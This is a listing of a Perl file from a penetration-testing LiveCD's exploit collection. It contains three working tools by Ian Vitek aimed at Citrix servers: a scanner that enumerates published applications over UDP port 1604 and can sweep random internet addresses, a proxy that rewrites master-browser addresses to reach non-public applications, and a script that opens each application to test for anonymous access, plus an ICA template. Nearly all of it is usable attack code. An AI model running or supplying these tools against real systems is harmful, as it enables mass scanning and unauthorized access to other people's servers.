home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / remotedesktop / citrix / citrix-pa-exploit.pl < prev    next >
Text File  |  2005-02-12  |  8KB  |  320 lines

  1. Citrix-pa-scan:
  2. This tool should be used to enumerate Citrix published applications.
  3.  
  4. #!/usr/bin/perl
  5. use Socket;
  6.  
  7. $SIG{ALRM}=sub { $connection=0; close(CON); };
  8. $trick_master=
  9.    "\x20\x00\x01\x30\x02\xFD\xA8\xE3" .
  10.    "\x00\x00\x00\x00\x00\x00\x00\x00" .
  11.    "\x00\x00\x00\x00\x00\x00\x00\x00" .
  12.    "\x00\x00\x00\x00\x00\x00\x00\x00"
  13.    ;
  14.  
  15. $get_pa=
  16.    "\x2a\x00\x01\x32\x02\xfd" .
  17.    "\xa8\xe3\x00\x00\x00\x00" .
  18.    "\x00\x00\x00\x00\x00\x00" .
  19.    "\x00\x00\x00\x00\x00\x00" .
  20.    "\x00\x00\x00\x00\x21\x00" .
  21.    "\x02\x00\x00\x00\x00\x00" .
  22.    "\x00\x00\x00\x00\x00\x00"
  23.    ;
  24.  
  25. $|=1;
  26.  
  27. print "\nCitrix Published Application Scanner version 2.0\
  28. By Ian Vitek, ian.vitek\@ixsecurity.com\n";
  29.  
  30. die "\nUsage: $0 {IP | file | - | random } [timeout]\
  31. \tIP\tIP to test\
  32. \tfile\tRead IPs from file\
  33. \t-\tRead IPs from standard input\
  34. \trandom\tRead IPs from /dev/urandom\
  35. \ttimeout\tTimeout\
  36. \n" if(!$ARGV[0]);
  37.  
  38. $input=$ARGV[0];
  39. $timeout=$ARGV[1];
  40. $timeout=1 if(!$timeout);
  41. if($input eq "-" || -r $input) {
  42.   open(INPUTFD,"$input") or die "Cant open file $input: $!\n";
  43.   $newHost=2;
  44. } elsif ($input eq "random") {
  45.   open(RANDOM,"/dev/urandom") or die "Cant open /dev/urandom: $!\n";
  46.   binmode(RANDOM);
  47.   $newHost=3;
  48. } else {
  49.   $newHost=1;
  50. }
  51.  
  52. $loop=1;
  53. while($loop==1) {
  54.   undef $target;
  55.   if($newHost==2) {
  56.     $target=<INPUTFD> or exit;
  57.     chomp $target;
  58.     $target=~s/\s*(\S+)/$1/;
  59.     redo if(!$target);
  60.   } elsif ($newHost==1) {
  61.     $loop=0;
  62.     $target=$input;
  63.   } elsif ($newHost==3) {
  64.     undef @ch;
  65.     $i=0;
  66.     while($i<4) {
  67.       while($ch[$i] < 1 || $ch[$i] > 254) {
  68.          $ch[$i]=ord getc(RANDOM);
  69.       }
  70.       $i++;
  71.     }
  72.     $target=sprintf("%d.%d.%d.%d",$ch[0],$ch[1],$ch[2],$ch[3]);
  73.   } else {
  74.     die "Nothing to do? Check input!\n\n";
  75.   }
  76.  
  77.   #
  78.   # Get Master Browser
  79.   #
  80.   $server=inet_aton($target) or die "Is \"${target}\" a target?\n\n";
  81.   $retry=0;
  82.   $connection=0;
  83.   while($retry++<2 and $connection==0) {
  84.     $connection=1;
  85.     socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
  86.     send(CON, $trick_master, 0, sockaddr_in(1604, $server));
  87.     alarm $timeout;
  88.     $from_CON=recv(CON,$data,1500,0);
  89.     alarm 0;
  90.   }
  91.   close(CON);
  92.   if($connection==0) {
  93.     print "$target not responding\n";
  94.     next;
  95.   }
  96.   undef $master_raw;
  97.   undef $master;
  98.   ($master_raw)=$data=~/.+\x02\x00\x06\x44(....)/s;
  99.   if($master_raw) {
  100.     $master=sprintf("%d.%d.%d.%d",ord substr($master_raw,0,1),ord
  101. substr($master_raw,1,1),ord substr($master_raw,2,1),ord
  102. substr($master_raw,3,1));
  103.   } else {
  104.     $master="ERROR";
  105.   }
  106.   print "$target|$master";
  107.   if($target eq $master) {
  108.     print "|1|";
  109.   } else {
  110.     print "|0|";
  111.   }
  112.  
  113.   #
  114.   # Enumerate PA
  115.   #
  116.   $retry=0;
  117.   $connection=0;
  118.   while($retry++<2 and $connection==0) {
  119.     $connection=1;
  120.     socket(CON, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
  121.     send(CON, $get_pa, 0, sockaddr_in(1604, $server));
  122.     alarm $timeout;
  123.     undef $data;
  124.     $from_CON=recv(CON,$data,1500,0);
  125.     alarm 0;
  126.   }
  127.   if($connection==0) {
  128.     print "Connection lost\n";
  129.     next;
  130.   }
  131.   undef $pa;
  132.   $pa=substr($data,40);
  133.   chop $pa;
  134.   $pa=~s/\x00/\;/sg;
  135.   print "$pa";
  136.  
  137.   #
  138.   # More packets?
  139.   #
  140.   $last_packet=ord substr($data,30,1);
  141.   while($last_packet==0) {
  142.     $connection=1;
  143.     alarm $timeout*2;
  144.     undef $data;
  145.     $from_CON=recv(CON,$data,1500,0);
  146.     alarm 0;
  147.     if($connection==0) {
  148.       print ",ERROR";
  149.       last;
  150.     }
  151.     undef $pa;
  152.     $pa=substr($data,39);
  153.     chop $pa;
  154.     $pa=~s/\x00/\;/sg;
  155.     print "$pa";
  156.     $last_packet=ord substr($data,30,1);
  157.   }
  158.   close(CON);
  159.   print "\n";
  160. }
  161.  
  162. Citrix-pa-proxy:
  163. This tool should be used to enumerate and connect to a published
  164. application with the Citrix client when the master browser is non-public.
  165.  
  166. #!/usr/bin/perl
  167. use Socket;
  168.  
  169. die "\
  170. * citrix-pa-proxy 2.0 by Ian.Vitek\@ixsecurity.com *\
  171. usage: $0 IP_to_proxy_to [Local_ip]\
  172. \
  173. " if(@ARGV==0);
  174.  
  175. $timeout=2;
  176. $server_ip=$ARGV[0];
  177. $proxy_ip="127.0.0.1";
  178. if($ARGV[1]) {
  179.   $proxy_ip=$ARGV[1];
  180.   $timeout=4;
  181. }
  182. $server=inet_aton($server_ip);
  183. $proxy=inet_aton($proxy_ip);
  184. $pa_connect=1;
  185. while(1) {
  186.   close(CON1);
  187.   socket(CON1, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
  188.   bind(CON1, sockaddr_in(1604,INADDR_ANY));
  189.   $from_CON1=recv(CON1,$data1,1500,0);
  190.   ($from_CON1_port,$from_CON1_ip)=sockaddr_in($from_CON1);
  191.   if(substr($data1,3,5) eq "\x32\x02\xfd\xa8\xe3" && $pa_connect) {
  192.     $pa_connect=0;
  193.     warn("- Hey! This is a PA enumerate session.\n");
  194.     warn("- Closing. Try to enumerate again.\n");
  195.     redo;
  196.   }
  197.   if($pa_connect) {
  198.   warn("PA connect from " . inet_ntoa($from_CON1_ip) . ":" .
  199. $from_CON1_port . "\n");
  200.   } else {
  201.   warn("PA enumerate from " . inet_ntoa($from_CON1_ip) . ":" .
  202. $from_CON1_port . "\n");
  203.   }
  204.   $connection=0;
  205.   $retry=0;
  206.   $SIG{ALRM}=sub { $connection=0; close(CON2); };
  207.   while($retry++<3 and $connection==0) {
  208.     socket(CON2, PF_INET, SOCK_DGRAM, getprotobyname('udp'));
  209.     $connection=1;
  210.     alarm $timeout;
  211.     warn("Sending request to $server_ip:1604\n");
  212.     send(CON2, $data1, 0, sockaddr_in(1604,$server));
  213.     alarm 0;
  214.   }
  215.   if($connection==0) {
  216.     warn("No connection to $server_ip\n\n");
  217.     close(CON1);
  218.     next;
  219.   }
  220.   alarm $timeout;
  221.   $from_CON2=recv(CON2,$data2,1500,0);
  222.   alarm 0;
  223.   close(CON2);
  224.   if($connection==0) {
  225.     warn("No answer from $server_ip\n\n");
  226.     close(CON1);
  227.     next;
  228.   } else {
  229.     warn("Got answer from $server_ip\n");
  230.   }
  231.   if(substr($data2,0,1) eq "\x30" && $pa_connect) {
  232.     $data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$proxy/sg;
  233.     $spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
  234.     warn("- Changing $spoof to $proxy_ip\n");
  235.   } else {
  236.     $data2=~s/\x02\x00\x06\x44(.)(.)(.)(.)/\x02\x00\x06\x44$server/sg;
  237.     $spoof=sprintf("%d.%d.%d.%d",ord $1,ord $2,ord $3,ord $4);
  238.     $data2=~s/\x02\x00\x05\xd6..../\x02\x00\x05\xd6$server/sg
  239. if($pa_connect);
  240.     warn("- Changing $spoof to $server_ip\n");
  241.     $pa_connect=1;
  242.   }
  243.   warn("Proxying\n");
  244.   $SIG{ALRM}=sub { $connection=0; close(CON1); };
  245.   alarm $timeout;
  246.   send(CON1, "$data2", 0, $from_CON1);
  247.   alarm 0;
  248.   close(CON1);
  249.   if($connection==0) {
  250.     warn("No connection to client\n\n");
  251.     close(CON1);
  252.     next;
  253.   } else {
  254.     warn("Done\n\n");
  255.   }
  256.  
  257. }
  258.  
  259. Pas:
  260. This tool should be used to connect to the applications reported by
  261. citrix-pa-scan.pl.
  262.  
  263. #!/usr/bin/perl
  264. $|=1;
  265. open(INDATA, "pas.wri") or die "Cant read data file: $!\n";
  266. open(RESULT, ">pas_results.wri") or die "Cant create result file: $!\n";
  267. while($line=<INDATA>) {
  268.   chomp $line;
  269.   next if( $line!~/^(\d+\.\d+\.\d+\.\d+)\|\d+\.\d+\.\d+\.\d+\|[01]\|(.+)/
  270. );
  271.   $ip=$1;
  272.   @pa=split(';',$2);
  273.   foreach $test_pa (@pa) {
  274.     open(TEMPLATE,"template.ica") or die "Cant open template file: $!\n";
  275.     open(ICA,">ica.ica") or die "Cant create ica file; $!\n";
  276.     while($tline=<TEMPLATE>) {
  277.       $tline=~s/IPIPIP/$ip/;
  278.       $tline=~s/PAPAPA/$test_pa/;
  279.       print ICA $tline;
  280.     }
  281.     close(ICA);
  282.     system('ica.ica');
  283.     $result=0;
  284.     while($result < 1 || $result > 5) {
  285.       print "\nHow did the connect to $test_pa on $ip go?\n";
  286.       print "1: Wery well, anonymous login, but no desktop.\n";
  287.       print "2: Anonymous and vulnerable.\n";
  288.       print "3: Login required.\n";
  289.       print "4: Error. No connection or similar.\n";
  290.       print "\n";
  291.       print "5: Redo\n";
  292.       print "> ";
  293.       $result=<>;
  294.       chomp $result;
  295.     }
  296.     redo if($result==5);
  297.     print RESULT "$ip\|$test_pa|$result\n";
  298.  
  299.   }
  300. }
  301.  
  302. template.ica:
  303. (Needed by pas.pl)
  304.  
  305.  [WFClinet]
  306.  Version=2
  307.  ClientName=testClient
  308.  
  309.  [ApplicationServers]
  310.  PAPAPA=
  311.  
  312.  [PAPAPA]
  313.  Address=IPIPIP
  314.  InitialProgram=#PAPAPA
  315.  TransportDriver=TCP/IP
  316.  WinStationDriver=ICA 3.0
  317.  DesiredHRES=800
  318.  DesiredVRES=600
  319.  
  320.